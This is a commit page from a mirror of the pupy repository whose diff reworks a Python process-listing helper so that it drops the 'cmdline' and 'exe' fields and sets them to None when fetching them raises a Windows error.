mirror of https://github.com/n1nj4sec/pupy.git
pupyps: add exe to unsafe fields
This commit is contained in:
parent
c423b69905
commit
37a7145090
|
@ -60,17 +60,23 @@ def to_unicode(x):
|
|||
|
||||
|
||||
def safe_as_dict(p, data):
|
||||
try:
|
||||
return p.as_dict(data)
|
||||
except:
|
||||
data = list(data)
|
||||
if 'cmdline' in data:
|
||||
data.remove('cmdline')
|
||||
removed = set()
|
||||
|
||||
for unsafe in (None, 'cmdline', 'exe'):
|
||||
if unsafe is not None and unsafe in data:
|
||||
data = list(data)
|
||||
data.remove(unsafe)
|
||||
removed.add(unsafe)
|
||||
|
||||
try:
|
||||
result = p.as_dict(data)
|
||||
result['cmdline'] = None
|
||||
for item in removed:
|
||||
result[item] = None
|
||||
return result
|
||||
|
||||
except WindowsError:
|
||||
pass
|
||||
|
||||
|
||||
def psinfo(pids):
|
||||
data = {}
|
||||
|
|
Loading…
Reference in New Issue